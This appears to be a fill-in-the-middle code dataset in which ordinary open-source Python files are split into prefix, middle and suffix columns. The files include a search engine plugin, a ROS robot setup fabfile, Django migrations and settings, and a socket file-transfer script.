prefix stringlengths 0 918k | middle stringlengths 0 812k | suffix stringlengths 0 962k |
|---|---|---|
# -*- coding: utf-8 -*-
##
## This file is part of Invenio.
## Copyright (C) 2005, 2006, 2007, 2008, 2009, 2010, 2011 CERN.
##
## Invenio is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License as
## published by the Free Software Foundation; either version 2 of the
## License, or (at your option) any later version.
##
## Invenio is distributed in the hope that it will be useful, but
## WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
## General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with Invenio; if not, write to the Free Software Foundation, Inc.,
## 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.
from __future__ import print_function
VERBOSITY = None
import sys
from datetime import datetime
from invenio.legacy.bibsched.bibtask import write_message as bibtask_write_message
def setup_loggers(verbosity):
global VERBOSITY
if verbosity > 8:
print('Setting up loggers: verbosity=%s' % verbosity)
VERBOSIT | Y = verbosity
def write_message(msg, stream=sys.stdout, verbose=1):
"""Write message and flush output stream (may be sys.stdout or sys.stderr).
Useful | for debugging stuff."""
if VERBOSITY is None:
return bibtask_write_message(msg, stream, verbose)
elif msg and VERBOSITY >= verbose:
if VERBOSITY > 8:
print(datetime.now().strftime('[%H:%M:%S] '), end=' ', file=stream)
print(msg, file=stream)
|
# SPDX-License-Identifier: AGPL-3.0-or-later
# lint: pylint
"""Google (Scholar)
For detailed description of the *REST-full* API see: `Query Parameter
Definitions`_.
.. _Query Parameter Definitions:
https://developers.google.com/custom-search/docs/xml_results#WebSearch_Query_Parameter_Definitions
"""
# pylint: disable=invalid-name, | mis | sing-function-docstring
from urllib.parse import urlencode
from datetime import datetime
from lxml import html
from searx import logger
from searx.utils import (
eval_xpath,
eval_xpath_list,
extract_text,
)
from searx.engines.google import (
get_lang_info,
time_range_dict,
detect_google_sorry,
)
# pylint: disable=unused-import
from searx.engines.google import (
supported_languages_url,
_fetch_supported_languages,
)
# pylint: enable=unused-import
# about
about = {
"website": 'https://scholar.google.com',
"wikidata_id": 'Q494817',
"official_api_documentation": 'https://developers.google.com/custom-search',
"use_official_api": False,
"require_api_key": False,
"results": 'HTML',
}
# engine dependent config
categories = ['science']
paging = True
language_support = True
use_locale_domain = True
time_range_support = True
safesearch = False
logger = logger.getChild('google scholar')
def time_range_url(params):
"""Returns a URL query component for a google-Scholar time range based on
``params['time_range']``. Google-Scholar does only support ranges in years.
To have any effect, all the Searx ranges (*day*, *week*, *month*, *year*)
are mapped to *year*. If no range is set, an empty string is returned.
Example::
&as_ylo=2019
"""
# as_ylo=2016&as_yhi=2019
ret_val = ''
if params['time_range'] in time_range_dict:
ret_val= urlencode({'as_ylo': datetime.now().year -1 })
return '&' + ret_val
def request(query, params):
"""Google-Scholar search request"""
offset = (params['pageno'] - 1) * 10
lang_info = get_lang_info(
# pylint: disable=undefined-variable
# params, {}, language_aliases
params, supported_languages, language_aliases
)
# subdomain is: scholar.google.xy
lang_info['subdomain'] = lang_info['subdomain'].replace("www.", "scholar.")
query_url = 'https://'+ lang_info['subdomain'] + '/scholar' + "?" + urlencode({
'q': query,
'hl': lang_info['hl'],
'lr': lang_info['lr'],
'ie': "utf8",
'oe': "utf8",
'start' : offset,
})
query_url += time_range_url(params)
logger.debug("query_url --> %s", query_url)
params['url'] = query_url
logger.debug("HTTP header Accept-Language --> %s", lang_info['Accept-Language'])
params['headers']['Accept-Language'] = lang_info['Accept-Language']
params['headers']['Accept'] = (
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
)
#params['google_subdomain'] = subdomain
return params
def response(resp):
"""Get response from google's search request"""
results = []
detect_google_sorry(resp)
# which subdomain ?
# subdomain = resp.search_params.get('google_subdomain')
# convert the text to dom
dom = html.fromstring(resp.text)
# parse results
for result in eval_xpath_list(dom, '//div[@class="gs_ri"]'):
title = extract_text(eval_xpath(result, './h3[1]//a'))
if not title:
# this is a [ZITATION] block
continue
url = eval_xpath(result, './h3[1]//a/@href')[0]
content = extract_text(eval_xpath(result, './div[@class="gs_rs"]')) or ''
pub_info = extract_text(eval_xpath(result, './div[@class="gs_a"]'))
if pub_info:
content += "[%s]" % pub_info
pub_type = extract_text(eval_xpath(result, './/span[@class="gs_ct1"]'))
if pub_type:
title = title + " " + pub_type
results.append({
'url': url,
'title': title,
'content': content,
})
# parse suggestion
for suggestion in eval_xpath(dom, '//div[contains(@class, "gs_qsuggest_wrap")]//li//a'):
# append suggestion
results.append({'suggestion': extract_text(suggestion)})
for correction in eval_xpath(dom, '//div[@class="gs_r gs_pda"]/a'):
results.append({'correction': extract_text(correction)})
return results
|
import unittest
from aquarius.Aquarius import Aquarius
class ConsoleTestBase(unittest.TestCase):
def initialise_app_mock(self):
self.app = Aquarius(None, None, None)
|
def assert_c | alled(self, method):
self.assertTrue(method.called) |
+x foo.py. (2) scp it over to the /home/pi/ros_catkin_ws/build/opt/ros/kinetic/share/rosbots_driver. (3) from remote machine 'rosrun rosbots_driver foo.py'")
def push_test_ros_script(path_fn=None):
if path_fn == None:
_fp("\nERROR\nPlease specify local ROS script name")
_fp("$ fab push_test_ros_script:<script>")
return
fn = path_fn.split("/")[-1]
remote_path = "/home/pi/ros_catkin_ws/build/opt/ros/kinetic/share"
ros_pkg_name = "rosbots_driver"
_fp("Pushing " + path_fn + " to remote location: " +
remote_path + "/" + ros_pkg_name)
put(path_fn, remote_path + "/" + ros_pkg_name)
run("chmod +x " + remote_path + "/" + ros_pkg_name + "/" + fn)
#open_shell("rosrun " + ros_pkg_name + " " + fn)
run("sudo su -c 'source /home/pi/ros_catkin_ws/build/opt/ros/kinetic/setup.bash && export PYTHONPATH=/home/pi/lib/python:${PYTHONPATH} && rosrun " + ros_pkg_name + " " + fn + "'")
def push_test_rosbots_motor_driver_script():
run("echo 'Starting...'")
home_path = run("pwd")
rosbots_startup_fn = "rosbots_startup.sh"
local_md_dir = "../../ros_ws/src/rosbots_driver/scripts/rosbots_driver"
remote_md_dir = "/home/pi/ros_catkin_ws/build/opt/ros/kinetic/lib/rosbots_driver"
md_fn = "motor_driver.py"
rosnode_name = "/motor_driver"
# Kill current motor_driver node
old_shell = env.shell
env.shell = '/bin/bash -l -c -i'
if run("rosnode list | grep -i " + rosnode_name, warn_only=True).succeeded:
_fp("Killing current " + rosnode_name + " rosnode")
run("rosnode kill `rosnode list | grep -i " + rosnode_name + "`")
#_fp(actual_name)
#run("rosnode kill " + rosnode_name)
env.shell = old_shell
# Push new startup script
if False:
put("./rosbots_startup.sh", "~/rosbots_startup.sh")
run("chmod +x ~/rosbots_startup.sh")
# Push the new motor driver file
if fabfiles.exists(remote_md_dir + "/" + md_fn) == False:
_fp("No remote " + md_fn + " found!!! Quitting")
return
else:
put(local_md_dir + "/" + md_fn, remote_md_dir + "/" + md_fn)
run("rm " + remote_md_dir + "/" + md_fn + "c", warn_only=True)
# Start the rosbots startup script
sudo("export ROSBOTS_HOME=/home/pi; export ROSBOTS_WS_PATH=/home/pi/ros_catkin_ws; " + home_path + "/" + rosbots_startup_fn)
old_shell = env.shell
env.shell = '/bin/bash -l -c -i'
_fp("List of running ros nodes")
run("rosnode list")
env.shell = old_shell
def setup_wifi_on_pi():
supplicant_fn = "/etc/wpa_supplicant/wpa_supplicant.conf"
run("echo 'Starting...'")
#if run("grep 'country=GB' " + supplicant_fn, warn_only=True).succeeded:
# pass
#else:
# _fp("")
# _pp("You should probably set 'country=US' in your supplicant file " + \
# supplicant_fn + " when you get a chance...")
wifi_reg_domain = _get_input("What is your country's wifi regulatory domain (ISO 3166 alpha2 country code, ie 'US')?", force_need_query=True)
_fp(wi | fi_reg_domain)
ssid_name = _get_input("What is the SSID?", force_need_query=True)
_fp(ssid_name)
if sudo("grep 'ssid=\"" + ssid_name + "\"' " + supplicant_fn, \
warn_only=True).succeeded:
_fp("This SSID is already set up")
else:
wpa_pwd = _get_input("What is the WPA pwd?", force_need_query=True)
_fp(wpa_pwd)
name = _get_input("What do you want to name this network?", | force_need_query=True)
_fp(name)
_fp("Adding the network you specified into " + supplicant_fn)
network_config = "country=" + wifi_reg_domain + "\n" + \
"\n\n" + \
"network={\n" + \
" ssid=\"" + ssid_name + "\"\n" + \
" psk=\"" + wpa_pwd + "\"\n" + \
" id_str=\"" + name + "\"\n" + \
"}\n"
sudo("cp " + supplicant_fn + " " + supplicant_fn + ".old")
sudo("echo '" + network_config + "' >> " + supplicant_fn)
_fp("To get IP address of Pi, from a linux system - 'arp -a'")
def step_8_setup_mcu_uno_support():
_pp("Plug in the UNO board to the RPi's USB port")
home_path = run("pwd")
git_path = home_path + "/gitspace"
rosbots_path = git_path + "/rosbots_driver"
pio_path = rosbots_path + "/platformio/rosbots_firmware"
rosserial_path = git_path + "/rosserial"
ws_dir = home_path + "/rosbots_catkin_ws"
install_dir = home_path + INSTALL_DIR
main_ros_ws_dir = home_path + WS_DIR
# Just download, we'll build it isolated later
#_setup_ros_other_packages("actionlib_msgs", run_rosdep=False)
_setup_ros_other_packages("nav_msgs", run_rosdep=False)
# Need nav_msgs compiled
with cd(main_ros_ws_dir):
#run("./src/catkin/bin/catkin_make_isolated --pkg rosbots_driver --install -DCMAKE_BUILD_TYPE=Release --install-space " + install_dir + " -j2")
old_shell = env.shell
env.shell = '/bin/bash -l -c -i'
#run(main_ros_ws_dir + "/src/catkin/bin/catkin_make -j1 --pkg nav_msgs")
#run(main_ros_ws_dir + "/src/catkin/bin/catkin_make install -j1 --pkg nav_msgs")
#run("./src/catkin/bin/catkin_make_isolated --pkg actionlib_msgs --install -DCMAKE_BUILD_TYPE=Release --install-space " + install_dir + " -j2")
run("./src/catkin/bin/catkin_make_isolated --pkg nav_msgs --install -DCMAKE_BUILD_TYPE=Release --install-space " + install_dir + " -j2")
env.shell = old_shell
# Old pip causes incompleteread importerror
sudo("easy_install --upgrade pip")
# So we can access USB serial port
sudo("usermod -a -G dialout pi")
# Some requirements
sudo("pip install -U testresources")
sudo("pip install -U platformio")
sudo("pip install -U backports.functools_lru_cache")
_fp("=============")
_pp("If this is the first time running setup, the next step will most likely fail since you need a reboot to enable the UNO drivers. If it fails, reboot and run this step again.")
_fp("=============\n")
def step_9_setup_mcu_uno_support_part_2():
_pp("Plug in the UNO board to the RPi's USB port")
home_path = run("pwd")
git_path = home_path + "/gitspace"
rosbots_path = git_path + "/rosbots_driver"
pio_path = rosbots_path + "/platformio/rosbots_firmware"
rosserial_path = git_path + "/rosserial"
ws_dir = home_path + "/rosbots_catkin_ws"
install_dir = home_path + INSTALL_DIR
main_ros_ws_dir = home_path + WS_DIR
with cd(pio_path):
run("platformio run -e uno -t upload")
# We need diagnostic_msgs, but just download, we'll compile
# it on our own
_setup_ros_other_packages("diagnostic_msgs", run_rosdep=False)
# Download and install rosserial
if not fabfiles.exists(rosserial_path):
with cd(git_path):
run("git clone https://github.com/ros-drivers/rosserial.git")
_fp("Creating symbolic link to main ros workspace")
with cd(ws_dir + "/src"):
if fabfiles.exists("rosserial"):
run("rm rosserial")
run("ln -s " + rosserial_path)
else:
_fp("Found rosserial repo, just fetching top and rebasing")
with cd(rosserial_path):
run("git fetch origin")
run("git rebase origin/jade-devel")
with cd(ws_dir):
#run("./src/catkin/bin/catkin_make_isolated --pkg rosbots_driver --install -DCMAKE_BUILD_TYPE=Release --install-space " + install_dir + " -j2")
old_shell = env.shell
env.shell = '/bin/bash -l -c -i'
run(main_ros_ws_dir + "/src/catkin/bin/catkin_make -j1")
run(main_ros_ws_dir + "/src/catkin/bin/catkin_make install -j1")
env.shell = old_shell
# Need diagnostic_msgs which rosserial_python needs
# catkin_make_isolated --pkg diagnostic_msgs --install -DCMAKE_BUILD_TYPE=Release --install-space /home/pi/ros_catkin_ws/build/opt/ros/kinetic
subpackage = "diagnostic_msgs"
with cd(main_ros_ws_dir):
run("./src/c |
# This program is free software; you can redistribute it and/or modify
# it under the terms of the (LGPL) GNU Lesser General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Library Lesser General Public License for more details at
# ( http://www.gnu.org/licenses/lgpl.html ).
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
# written by: Jeff Ortel ( jortel@redhat.com )
from suds import *
from suds.sax import Namespace, splitPrefix
def qualify(ref, resolvers, defns=Namespace.default):
"""
Get a reference that is I{qualified} by namespace.
@param ref: A referenced schema type name.
@type ref: str
@param resolvers: A list of objects to be used to resolve types.
@type resolvers: [L{sax.element.Element},]
@param defns: An optional target namespace used to qualify references
when no prefix is specified.
@type defns: A default namespace I{tuple: (prefix,uri)} used when ref not prefixed.
@return: A qualified reference.
@rtype: (name, namespace-uri)
"""
ns = None
p, n = splitPrefix(ref)
if p is not None:
if not isinstance(resolvers, (list, tuple)):
resolvers = (resolvers,)
for r in resolvers:
resolved = r.resolvePrefix(p)
if resolved[1] is not None:
ns = resolved
break
if ns is None:
raise Exception('prefix (%s) not resolved' % p)
else:
ns = defns
r | eturn (n, ns[1])
def isqref(object):
"""
Get whether the object is a I{qualified reference}.
@param object: An object to be tested.
@type object: I{ | any}
@rtype: boolean
@see: L{qualify}
"""
return (\
isinstance(object, tuple) and \
len(object) == 2 and \
isinstance(object[0], basestring) and \
isinstance(object[1], basestring))
class Filter:
def __init__(self, inclusive=False, *items):
self.inclusive = inclusive
self.items = items
def __contains__(self, x):
if self.inclusive:
result = ( x in self.items )
else:
result = ( x not in self.items )
return result
|
def forwards(self, orm):
# Adding model 'Contact'
db.create_table('storybase_user_contact', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('name', self.gf('storybase.fields.ShortTextField')(blank=True)),
('info', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal('storybase_user', ['Contact'])
def backwards(self, orm):
# Deleting model 'Contact'
db.delete_table('storybase_user_contact')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'storybase_asset.asset': {
'Meta': {'object_name': 'Asset'},
'asset_created': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'asset_id': ('uuidfield.fields.UUIDField', [], {'unique': 'True', 'max_length': '32', 'blank': 'True'}),
'attribution': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'datasets': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'assets'", 'blank': 'True', 'to': "orm['storybase_asset.DataSet']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'last_edited': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'license': ('django.db.models.fields.CharField', [], {'default': "'CC BY-NC-SA'", 'max_length': '25'}),
'owner': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'assets'", 'null': 'True', 'to': "orm['auth.User']"}),
'published': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'section_specific': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'source_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}),
'status': ('django.db.models.fields.CharField', [], {'default': "u'draft'", 'max_length': '10'}),
'type': ('django.db.models.fields.CharField', [], {'max_length': '10'})
},
'storybase_asset.dataset': {
'Meta': {'object_name': 'DataSet'},
'attribution': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'dataset_created': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'dataset_id': ('uuidfield.fields.UUIDField', [], {'unique': 'True', 'max_length': '32', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'last_edited': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', ' | blank': 'True'}),
'owner': ('django.db. | models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'datasets'", 'null': 'True', 'to': "orm['auth.User']"}),
'published': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'source': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'status': ('django.db.models.fields.CharField', [], {'default': "u'draft'", 'max_length': '10'})
},
'storybase_story.story': {
'Meta': {'object_name': 'Story'},
'assets': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'stories'", 'blank': 'True', 'to': "orm['storybase_asset.Asset']"}),
'author': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'stories'", 'null': 'True', 'to': "orm['auth.User']"}),
'byline': ('django.db.models.fields.TextField', [], {}),
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'featured_assets': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'featured_in_stories'", 'blank': 'True', 'to': "orm['storybase_asset.Asset']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'last_edited': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'license': ('django.db.models.fields.CharField', [], {'default': "'CC BY-NC-SA'", 'max_length': '25'}),
'on_homepage': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'organizations': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'stories'", 'blank': 'True', 'to': "orm['storybase_user.Organization']"}),
'projects': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'stories'", 'blank': 'True', 'to': "orm['storybase_user. |
#!/usr/bin/env python
#Protocol:
# num_files:uint(4)
# repeat | num_files times:
# filename:string
# size:uint(8)
# data:bytes(size)
import sys, socket
import os
from time import time
DEFAULT_PORT = 52423
PROGRESSBAR_WIDTH = 50
BUFSIZE = 1024*1024
CONNECTION_TIMEOUT = 3.0
RECEIVE_TIMEOUT = 5.0
| if os.name == "nt":
sep = "\\"
else:
sep = '/'
def main():
if len(sys.argv)<2:
usage()
return
if sys.argv[1]=='-s' and len(sys.argv) >= 4:
try:
send()
except KeyboardInterrupt:
printError("\nAbort")
elif sys.argv[1]=='-r':
try:
recieve()
except KeyboardInterrupt:
printError("\nAbort")
else:
usage()
def printError(s):
sys.stderr.write(s+'\n')
def encodeInt(l, size):
if l > ((0x1 << (8*size))-1):
raise ValueError("Number too large: {0}".format(l))
b = bytearray(size)
i = 0
while l > 0:
b[i] = (l & 0xff)
l = l >> 8
i+=1
b.reverse()
return b
def encodeString(s):
return s+b'\x00'
def recieveInt(size, conn):
data = conn.recv(size)
b = bytearray(data)
if len(b) != size:
raise ValueError("Received invalid data")
value = 0
for i in range(0,size):
value = value << 8
value += b[i]
return value
def recieveString(conn):
s = ""
ch = ''
while True:
ch = conn.recv(1)
if ch == b'\x00':
break
s += ch
return s
def send():
port = DEFAULT_PORT
i = 2
files = []
while i < len(sys.argv): #-2
if sys.argv[i]=='-p':
if i+1 >= len(sys.argv):
printError("Expecting port after '-p'")
return
try:
port = int(sys.argv[i+1])
except ValueError:
printError("Invalid port: "+sys.argv[i+1])
return
i+=1
else:
receiver = sys.argv[i]
files = sys.argv[i+1:]
break
i+=1
num_files = 0
open_files = []
for fn in files:
try:
f = open(fn, "rb")
open_files.append((fn, f))
num_files+=1
except IOError as e:
printError("Could not open file {0}: {1}. Skipping".format(fn, e.strerror))
if num_files == 0:
printError("No files to send. Aborting")
return
try:
client = socket.create_connection((receiver, port), CONNECTION_TIMEOUT)
except Exception as e:
message = str(e)
if hasattr(e, 'strerror'):
message = e.strerror
printError("Could not connect to {0}: {1}".format(receiver, message))
return
print("--- Sending {0} file(s) to {1} ---".format(num_files, receiver))
metadata = bytearray()
metadata += encodeInt(num_files, 4)
for (fn, f) in open_files:
metadata += encodeString(fn[fn.rfind(sep)+1:])
f.seek(0,2)
size = f.tell()
print("- Sending {0} ({1} bytes)".format(fn, size))
metadata += encodeInt(size, 8)
client.sendall(metadata)
metadata = bytearray()
f.seek(0,0)
while size > 0:
bytebuf = bytearray(f.read(BUFSIZE))
client.sendall(bytebuf)
size -= BUFSIZE
f.close()
client.close()
def recieve():
port = DEFAULT_PORT
i = 2
while i < len(sys.argv):
if sys.argv[i]=='-p':
if i+1 >= len(sys.argv):
printError("Expecting port after '-p'")
return
try:
port = int(sys.argv[i+1])
except ValueError:
printError("Invalid port: "+sys.argv[i+1])
return
i+=1
else:
printError("Unrecognized argument: "+sys.argv[i])
return
i+=1
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('', port))
except Exception as e:
printError("Could not bind socket: {0}".format(e.strerror))
return
print("Waiting for incoming connections...")
server.listen(1)
conn, addr = server.accept()
print("Connected to {0}".format(addr[0]))
num_files = recieveInt(4, conn)
print("Recieving {0} file(s)".format(num_files))
if num_files > (0x1 << 16):
printError("Too many files. Aborting")
return
try:
for i in range(0,num_files):
fn = recieveString(conn)
filesize = recieveInt(8, conn)
print("- {0} ({1} bytes)".format(fn, filesize))
if os.path.isfile(fn):
print(" Error: file '{0}' already exists. Skipping".format(fn))
conn.recv(filesize)
continue
f = open(fn, "wb")
size = filesize
printProgressBar(0)
lastreceivetime = time()
printProgressBar(0)
while size > 0:
buffersize = min(BUFSIZE, size)
data = conn.recv(buffersize)
if len(data) == 0:
if time()-lastreceivetime > RECEIVE_TIMEOUT:
printError("\nReceive timeout. Aborting")
server.close()
return
continue
lastreceivetime = time()
size -= len(data)
f.write(data)
ratio = float(filesize-size)/float(filesize)
printProgressBar(ratio)
printProgressBar(1)
print("")
f.close()
except ValueError:
printError("Protocol error. Aborting")
finally:
server.close()
def printProgressBar(ratio):
if ratio < 0 or ratio > 1:
raise ValueError("Error: invalid ratio: {0}".format(ratio))
progressbar_length = int(ratio * PROGRESSBAR_WIDTH)
progressbar = '#'*progressbar_length + ' '*(PROGRESSBAR_WIDTH-progressbar_length) + " - {0:.2f}%".format(ratio*100.0)
sys.stdout.write("\r"+progressbar)
sys.stdout.flush()
def usage():
print("Usage:\n"
"\t{0} -s [-p port] [receiver] [files...]\t- Send files to receiver\n"
"\t{0} -r [-p port]\t\t\t\t- Receive files"
.format(sys.argv[0][sys.argv[0].rfind(sep)+1:]))
if __name__ == "__main__":
main()
|
# Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import os
import subprocess
from telemetry.core.platform import profiler
from telemetry.core import util
from telemetry.internal.backends.chrome import android_browser_finder
class AndroidScreenRecordingProfiler(profiler.Profiler):
"""Captures a screen recording on Android."""
def __init__(self, browser_backend, platform_backend, output_path, state):
super(AndroidScreenRecordingProfiler, self).__init__(
browser_backend, platform_backend, output_path, state)
self._output_path = output_path + '.mp4'
self._recorder = subprocess.Popen(
[os.path.join(util.GetChromiumSrcDir(), 'build', 'android',
'screenshot.py'),
'--video',
'--file', self._output_path,
'--device', browser_backend.adb.device_serial()],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
@classmethod
def name(cls):
return 'android-screen-recorder'
@classmethod
def is_supported(cls, browser_type):
if browser_type == 'any':
return and | roid_browser_finder.CanFindAvailableBrowsers()
return browser_type.startswith('android')
def CollectProfile(self):
self._recorder.communicate(input='\n')
print 'Screen recording saved as %s' % self._output_path
print 'To view, open in Chrome or a video player'
retur | n [self._output_path]
|
# Copyright (C) 2020 Red Hat, Inc., Jake Hunsaker <jhunsake@redhat.com>
# This file is part of the sos project: https://github.com/sosreport/sos
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# version 2 of the GNU General Public Licens | e.
#
# See the LICENSE file in the source distribution for further information.
from sos.policies.init_systems import InitSystem
from sos.utilities import shell_out
class SystemdInit(InitSystem):
"""InitSystem abstraction for SystemD systems"""
def __init__(self):
super(SystemdInit, self).__init__(
init_cmd='systemctl',
list_cmd='list-unit-files --type=service',
query_cmd='status'
)
self.load_all_s | ervices()
def parse_query(self, output):
for line in output.splitlines():
if line.strip().startswith('Active:'):
return line.split()[1]
return 'unknown'
def load_all_services(self):
svcs = shell_out(self.list_cmd).splitlines()[1:]
for line in svcs:
try:
name = line.split('.service')[0]
config = line.split()[1]
self.services[name] = {
'name': name,
'config': config
}
except IndexError:
pass
def is_running(self, name):
svc = self.get_service_status(name)
return svc['status'] == 'active'
# vim: set et ts=4 sw=4 :
|
# coding: utf-8
from app.settings.dist import *
try:
from app.settings.local import *
except ImportError:
pass
from app.settings.messages import *
from ap | p.settings.dist import INSTALLED_APPS
DEBUG = True
DEV_SERVER = True
USER_FILES_LIMIT = 1.2 * 1024 * 1024
SEND_MESSAGES = False
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3', |
'NAME': '_test.sqlite',
},
}
INSTALLED_APPS = list(INSTALLED_APPS)
removable = ['south', ]
for app in removable:
if app in INSTALLED_APPS:
INSTALLED_APPS.remove(app)
TEST_DATABASE_NAME = DATABASES['default']['NAME'] if \
DATABASES['default']['NAME'].startswith('test_') else \
'test_' + DATABASES['default']['NAME']
|
"""
Shopify Trois
---------------
Shopify API for Python 3
"""
from setuptools import setup
setup(
name='shopify-trois',
version= | '1.1-dev',
url='http://masom.github.io/shopify-trois',
license='MIT',
author='Martin Samson',
author_email='pyrolian@gmail.com',
maintainer='Martin Samson',
maintainer_email='pyrolian@g | mail.com',
description='Shopify API for Python 3',
long_description=__doc__,
packages=[
'shopify_trois', 'shopify_trois.models', 'shopify_trois.engines',
'shopify_trois.engines.http'
],
zip_safe=False,
include_package_data=True,
platforms='any',
install_requires=[
'requests>=1.2.3'
],
test_suite='nose.collector',
tests_require=[
'pytest', 'nose', 'mock'
],
classifiers=[
'Development Status :: 4 - Beta',
'Environment :: Web Environment',
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Operating System :: OS Independent',
'Programming Language :: Python :: 3.2',
'Programming Language :: Python :: 3.3',
'Topic :: Internet :: WWW/HTTP :: Dynamic Content',
'Topic :: Software Development :: Libraries :: Python Modules'
]
)
|
class node:
def __init__(self):
self.outputs=[]
def set(self):
for out in self.outputs:
out.set()
def clear(self):
for out in self.outputs:
out.clear()
class switch:
def __init__(self):
self.outputs=[]
self.state=False
self.inp | ut=False
def set(self):
self.input=True
if(self.state):
for out in self.outputs:
out.set()
def clear(self):
self.input=False
for out in self.outputs:
out.clear()
def open(self):
self.state=False
for out in self.outputs:
out.clear()
|
def close(self):
self.input=True
if(self.input):
for out in self.outputs:
out.set()
class light:
def __init__(self):
self.outputs=[]
def set(self):
print('light set')
for out in self.outputs:
out.set()
def clear(self):
print('light cleared')
for out in self.outputs:
out.clear()
if __name__ == '__main__':
a=node()
s=switch()
b=node()
l=light()
a.outputs.append(s)
s.outputs.append(b)
b.outputs.append(l)
a.set()
s.close()
print('switch close')
s.open() |
000000)
days, seconds = divmod(seconds, 24*3600)
d += days
s += seconds
else:
microseconds = int(microseconds)
seconds, microseconds = divmod(microseconds, 1000000)
days, seconds = divmod(seconds, 24*3600)
